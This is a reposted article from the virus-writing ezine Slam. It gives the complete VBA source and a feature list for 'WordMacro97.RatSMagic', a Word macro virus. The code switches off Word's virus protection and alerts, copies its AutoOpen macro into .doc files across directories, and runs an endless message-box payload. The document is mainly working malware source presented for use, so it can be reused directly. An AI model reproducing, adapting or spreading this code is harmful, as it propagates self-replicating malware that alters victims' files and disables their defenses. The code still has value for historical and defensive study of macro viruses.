Copy Link
Add to Bookmark
Report

SLAM3.029: WordMacro97.RatSMagic virus by Reptile

eZine's profile picture
Published in 
Slam
 · 2 years ago

 
‹fl€fl‹
fi fi
fifl›˙a˙t˙S˙M˙a˙g˙i˙c
fi fi
› ›
fi ‹
fl‹‹fl


  • Name: WordMacro97.RatSMagic
  • Version: 1.0
  • Author: Reptile <reptile_bwaha@hotmail.com>
  • Type: Direct action
  • Macros: 1 (AutoOpen)
  • Anti-heuristic: Doesn't use FileFormat:= wdFormatTemplate
  • Payload: If Rnd() <= 0.666 and Rnd() >= 0.666 then it shows a message box. If you push the ok button the msgbox comes again and again...
  • Infection: This virus takes a doc file from the current dir and then it changes this file, by using the filesystem commands, to a template. After that it copies the AutoOpen macro to the victim. The virus will also infect subdirectorys.

-[RSM.BAS]-------------------------------------------------------------------- 
Attribute VB_Name = "RatSMagic"
Sub AutoOpen()
Application.ScreenUpdating = False
WordBasic.DisableAutoMacros 0
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
rsminf: FileName$ = CurDir$ + "\" + Dir("*.doc")
On Error GoTo payl
Open FileName$ For Input As #1
Seek #1, 521
RSM$ = Input$(3, #1)
Close #1
If RSM$ = Chr$(1) + Chr$(18) + Chr$(191) Then GoTo chgdir
Open FileName$ For Append As #1
Seek #1, 523
Print #1, Chr$(1) + Chr$(18) + Chr$(191) + Chr$(0) + Chr$(0)
Close #1
rsmdoc = ActiveDocument.FullName
Application.Documents.Open FileName
Application.OrganizerCopy Source:=rsmdoc, Destination:=FileName, Name:="RatSMagic", Object:=wdOrganizerObjectProjectItems
Application.Documents.Save
ActiveDocument.Close
chgdir: ChDir ".."
GoTo rsminf
payl: If Rnd() <= 0.666 And Rnd() >= 0.666 Then GoTo JokE Else GoTo ecsit
JokE: MsgBox "RatSMagic by Reptile", , "bwahahahaha!!!"
GoTo JokE
ecsit:
End Sub
------------------------------------------------------------------------------

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT